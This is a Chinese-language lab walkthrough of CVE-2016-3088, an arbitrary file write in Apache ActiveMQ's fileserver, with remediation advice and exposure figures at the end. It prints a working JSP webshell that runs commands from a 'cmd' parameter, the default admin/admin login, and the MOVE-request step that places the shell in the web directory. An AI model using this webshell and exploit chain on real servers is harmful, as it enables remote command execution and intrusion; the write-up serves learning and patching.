1. 程式人生 > 實用技巧 >CVE-2016-3088(ActiveMQ)

CVE-2016-3088(ActiveMQ)

ActiveMQ任意檔案寫入漏洞

漏洞描述

  1. 漏洞編號:CVE-2016-3088
  2. 影響版本:Apache ActiveMQ5.x~5.14.0

https://www.cvedetails.com/cve/CVE-2016-3088/

3.漏洞產生原因:ActiveMQweb控制檯分三個應用,adminapifileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;adminapi都需要登入後才能使用,fileserver無需登入。本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支援寫入檔案(但不解析jsp),同時支援移動檔案(

MOVE請求)。所以,我們只需要寫入一個檔案,然後使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞。

啟動環境:docker-compose up -d

vulnIP:192.168.1.104

hackIP:192.168.1.102

訪問`http://192.168.1.104:8161`看到web頁面,說明環境已成功執行。

漏洞發現

檢視版本資訊

http://host:8161/admin/index.jsp?printable=true

漏洞利用

預設的ActiveMQ賬號密碼均為`admin`,首先訪問`http://192.168.1.104:8161/admin/test/systemProperties.jsp`,檢視

ActiveMQ的絕對路徑:

然後上傳webshell

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while
((line=br.readLine())!=null){ out.print(line+"</br>"); } %>

移動web目錄下的api資料夾(`/opt/activemq/webapps/api/s.jsp`)中:

Destination:file:///opt/activemq/webapps/api/5.jsp

到網站上進行檢視有沒有

需要登入:

問題彙總

fileserver不解析jspadminapi兩個應用都需要登入才能訪問

修復方案

1ActiveMQ Fileserver 的功能在 5.14.0 及其以後的版本中已被移除。建議使用者升級至 5.14.0 及其以後版本。

2、通過移除 conf\jetty.xml 的以下配置來禁用 ActiveMQ Fileserver 功能

3、打補丁

http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt

4、電腦管家等修復漏洞工具

注:漏洞影響

ZoomEye上用 日期 ActiveMQ 作為關鍵詞檢索,分別探測了201511日(漏洞爆發前一年)和201711日(漏洞爆發後一年)網際網路上 ActiveMQ 的總量情況,如下。

可以看到,ActiveMQ的數量在漏洞爆發前後有很大幅度的減少,從這我們大致可以猜測漏洞爆發後很多ActiveMQWeb服務限制了來自公網的訪問。

2021-01-0214:00:51